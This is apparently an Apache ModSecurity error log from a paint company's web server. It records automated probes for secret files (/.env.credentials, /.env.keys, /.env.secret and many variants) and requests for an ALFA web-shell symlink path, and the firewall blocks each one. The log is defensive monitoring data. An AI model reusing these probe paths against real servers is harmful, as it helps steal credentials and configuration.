[Sun Oct 25 16:47:32.223387 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "busca1.sherwinpinturas.com"] [uri "/api"] [unique_id "at5q5NxWQBCaNVYVwRg2OAAAAD4"]
[Sun Oct 25 16:47:32.223755 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/api"] [unique_id "at5q5NxWQBCaNVYVwRg2OAAAAD4"]
[Sun Oct 25 16:47:32.223966 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/api"] [unique_id "at5q5NxWQBCaNVYVwRg2OAAAAD4"]
[Sun Oct 25 16:47:32.516099 2026] [security2:error] [pid 2897985:tid 2897985] [client 34.153.214.245:36784] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at5q5HBNFBr7e1L0UovuVgAAADM"]
[Sun Oct 25 16:47:32.516276 2026] [security2:error] [pid 2897985:tid 2897985] [client 34.153.214.245:36784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at5q5HBNFBr7e1L0UovuVgAAADM"]
[Sun Oct 25 16:47:32.516573 2026] [security2:error] [pid 2897985:tid 2897985] [client 34.153.214.245:36784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at5q5HBNFBr7e1L0UovuVgAAADM"]
[Sun Oct 25 16:47:32.651204 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.153.214.245:36782] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5q5GVLMQvPe13-2XNXhQAAAAY"]
[Sun Oct 25 16:47:32.651506 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.153.214.245:36782] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5q5GVLMQvPe13-2XNXhQAAAAY"]
[Sun Oct 25 16:47:32.651771 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.153.214.245:36782] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5q5GVLMQvPe13-2XNXhQAAAAY"]
[Sun Oct 25 16:47:32.660267 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.153.214.245:36752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5q5BBRkwwnkVogupUKTwAAABE"]
[Sun Oct 25 16:47:32.660493 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.153.214.245:36752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5q5BBRkwwnkVogupUKTwAAABE"]
[Sun Oct 25 16:47:32.660727 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.153.214.245:36752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5q5BBRkwwnkVogupUKTwAAABE"]
[Sun Oct 25 16:47:32.661971 2026] [security2:error] [pid 2897953:tid 2897953] [client 34.153.214.245:36822] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5q5ElOurSCghJS9T0g-gAAACI"]
[Sun Oct 25 16:47:32.662171 2026] [security2:error] [pid 2897953:tid 2897953] [client 34.153.214.245:36822] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5q5ElOurSCghJS9T0g-gAAACI"]
[Sun Oct 25 16:47:32.662416 2026] [security2:error] [pid 2897953:tid 2897953] [client 34.153.214.245:36822] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5q5ElOurSCghJS9T0g-gAAACI"]
[Sun Oct 25 16:47:32.664542 2026] [security2:error] [pid 2899538:tid 2899538] [client 34.153.214.245:36848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5q5BY_WvHQT-9rZ0hMhgAAAAM"]
[Sun Oct 25 16:47:32.664740 2026] [security2:error] [pid 2899538:tid 2899538] [client 34.153.214.245:36848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5q5BY_WvHQT-9rZ0hMhgAAAAM"]
[Sun Oct 25 16:47:32.664758 2026] [security2:error] [pid 2899539:tid 2899539] [client 34.153.214.245:36820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5q5F8UodwegSWkhQ-9fAAAAAQ"]
[Sun Oct 25 16:47:32.665039 2026] [security2:error] [pid 2899539:tid 2899539] [client 34.153.214.245:36820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5q5F8UodwegSWkhQ-9fAAAAAQ"]
[Sun Oct 25 16:47:32.665088 2026] [security2:error] [pid 2899538:tid 2899538] [client 34.153.214.245:36848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5q5BY_WvHQT-9rZ0hMhgAAAAM"]
[Sun Oct 25 16:47:32.665326 2026] [security2:error] [pid 2899539:tid 2899539] [client 34.153.214.245:36820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5q5F8UodwegSWkhQ-9fAAAAAQ"]
[Sun Oct 25 16:47:32.673617 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.153.214.245:36774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5q5BVtY6H0wJd2uaIKUQAAADA"]
[Sun Oct 25 16:47:32.673776 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.153.214.245:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5q5BVtY6H0wJd2uaIKUQAAADA"]
[Sun Oct 25 16:47:32.674016 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.153.214.245:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5q5BVtY6H0wJd2uaIKUQAAADA"]
[Sun Oct 25 16:47:32.674219 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5q5NxWQBCaNVYVwRg2OgAAAD4"]
[Sun Oct 25 16:47:32.674417 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5q5NxWQBCaNVYVwRg2OgAAAD4"]
[Sun Oct 25 16:47:32.674683 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5q5NxWQBCaNVYVwRg2OgAAAD4"]
[Sun Oct 25 16:47:32.978336 2026] [security2:error] [pid 2897956:tid 2897956] [client 34.153.214.245:36738] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/login"] [unique_id "at5q5IeXrFtpgY7lwPi09wAAACU"]
[Sun Oct 25 16:47:32.978393 2026] [security2:error] [pid 2897956:tid 2897956] [client 34.153.214.245:36738] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/login"] [unique_id "at5q5IeXrFtpgY7lwPi09wAAACU"]
[Sun Oct 25 16:47:33.121120 2026] [security2:error] [pid 2899541:tid 2899541] [client 34.153.214.245:36806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5q5T9OZIjQKhkJ9qWptQAAAAc"]
[Sun Oct 25 16:47:33.121348 2026] [security2:error] [pid 2899541:tid 2899541] [client 34.153.214.245:36806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5q5T9OZIjQKhkJ9qWptQAAAAc"]
[Sun Oct 25 16:47:33.121688 2026] [security2:error] [pid 2899541:tid 2899541] [client 34.153.214.245:36806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5q5T9OZIjQKhkJ9qWptQAAAAc"]
[Sun Oct 25 16:47:33.837171 2026] [security2:error] [pid 2899544:tid 2899544] [client 34.153.214.245:36834] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/deployments"] [unique_id "at5q5aWGvWkpxHQ4qRfL8QAAAAw"]
[Sun Oct 25 16:47:33.837216 2026] [security2:error] [pid 2899544:tid 2899544] [client 34.153.214.245:36834] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/deployments"] [unique_id "at5q5aWGvWkpxHQ4qRfL8QAAAAw"]
[Sun Oct 25 16:47:38.992198 2026] [ssl:error] [pid 2899635:tid 2899635] (70014)End of file found: [client 23.21.179.27:34445] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:47:42.905932 2026] [ssl:error] [pid 2899633:tid 2899633] (70014)End of file found: [client 52.5.242.243:21978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:47:54.496501 2026] [security2:error] [pid 2899539:tid 2899539] [client 78.37.41.85:8194] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-ldap.conf"] [unique_id "at5q-l8UodwegSWkhQ-9gQAAAAQ"]
[Sun Oct 25 16:47:54.496995 2026] [security2:error] [pid 2899539:tid 2899539] [client 78.37.41.85:8194] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-ldap.conf"] [unique_id "at5q-l8UodwegSWkhQ-9gQAAAAQ"]
[Sun Oct 25 16:47:54.497304 2026] [security2:error] [pid 2899539:tid 2899539] [client 78.37.41.85:8194] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-ldap.conf"] [unique_id "at5q-l8UodwegSWkhQ-9gQAAAAQ"]
[Sun Oct 25 16:47:56.591221 2026] [security2:error] [pid 2899540:tid 2899540] [client 187.14.225.143:7846] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-ldap.conf"] [unique_id "at5q_FjfLy5i88_O5E6s2gAAAAU"]
[Sun Oct 25 16:47:56.591744 2026] [security2:error] [pid 2899540:tid 2899540] [client 187.14.225.143:7846] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-ldap.conf"] [unique_id "at5q_FjfLy5i88_O5E6s2gAAAAU"]
